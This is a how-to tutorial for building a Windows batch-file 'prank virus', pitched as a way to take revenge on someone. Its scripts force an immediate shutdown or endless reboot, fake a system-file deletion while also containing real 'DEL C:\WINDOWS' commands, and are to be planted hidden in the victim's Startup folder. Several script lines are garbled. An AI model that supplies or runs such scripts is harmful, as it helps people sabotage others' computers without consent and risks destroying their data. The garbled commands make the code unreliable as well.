Make a Prank Virus (Windows)

To take revenge on anyone by making their computer shut down as soon as they turn it on.......

shutdown -s -t 00

Method 2 (Causes Explorer.exe to crash)

cls
:A
color 0a
@ echo off
echo Wscript.Sleep
DEL C:\WINDOWS 5000>C:\sleep5000.vbs
echo Wscript.Sleep 3000>C:\sleep3000.vbs
echo Wscript.Sleep 4000>C:\sleep4000.vbs
echo Wscript.Sleep 2000>C:\sleep2000.vbs
cd %systemroot%\System32
dir
cls
start /w wscript.exe C:\sleep3000.vbs
echo Deleting Critical System Files...
echo del *.*
start /w wscript.exe C:\sleep3000.vbs
echo Deletion Successful!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo Deleting Root Partition...
start /w wscript.exe C:\sleep2000.vbs
echo del %SYSTEMROOT%
start /w wscript.exe C:\sleep4000.vbs
echo Deletion Successful!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo Creating Directory h4x...
cd C:\Documents and Settings\All Users\Start Menu\Programs\mkdir
h4x
DEL C:\WINDOWS
start /w wscript.exe C:\sleep3000.vbs
echo Directory Creation Successful!
echo:
echo:
echo:
echo Execution Attempt 1...
start /w wscript.exe C:\sleep3000.vbs
echo cd C:\Documents and Settings\All Users\Start Menu\Programs\Startup\h4x\
echo start hax.exe
start /w wscript.exe C:\sleep3000.vbs
echo Virus Executed!
echo:
echo:
echo:start /w wscript.exe C:\sleep2000.vbs
echo Disabling Windows Firewall...
start /w wscript.exe C:\sleep2000.vbs
echo Killing all processes...
start /w wscript.exe C:\sleep2000.vbs
echo Allowing virus to boot from startup...
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo Virus has been executed successfully!
start /w wscript.exeC:\sleep2000.vbs
echo:
echo Have fun!
start /w wscript.exe C:\sleep2000.vbs
pause
shutdown -f -s -c "Your computer has committed suicide. Have a nice day."

Save this file as "virus.bat".

1.Click File
2.Click Save As
3.Change the Save as type: to All Files
4.Select ANSI as the Encoding type
5.Name the file virus.bat

Click Start->All programs here on this sub-menu right click on "start up" and select Explore from options given. This opens "start up" folder now cut your virus.bat file and paste it into this start up folder opened.

For more effectiveness right click on your vire.bat file go to properties and select the option Hidden and press OK

You have planted a prank and annoying virus into the computer.

The next time this computer is turned on' your batch file (virus.bat) in the start up folder is executed automatically which commands the computer to shutdown in 0 seconds(i.e., immediately).

Now, anyone turning on the computer will have no time to do anything because it will shutdown automatically every time the system turns on and comes to desktop. edit TipsIf instead of -s in method 1, -r is used, the computer is commanded to restart and when restarted automatically it is again commanded to restart and the process goes on indefinite

Method 1: If you use windows vista you may have to use a / instead of a -.

Method 2: To cancel the "virus" press [Alt]+[Tab] simultaneously.

To disable these "viruses" start the computer in Safe Mode and delete the .bat file from the Startup folder.
edit WarningsMake sure to have a Linux CD on hand to undo this.
Some people might not enjoy this prank, so make sure to chose your victim carefully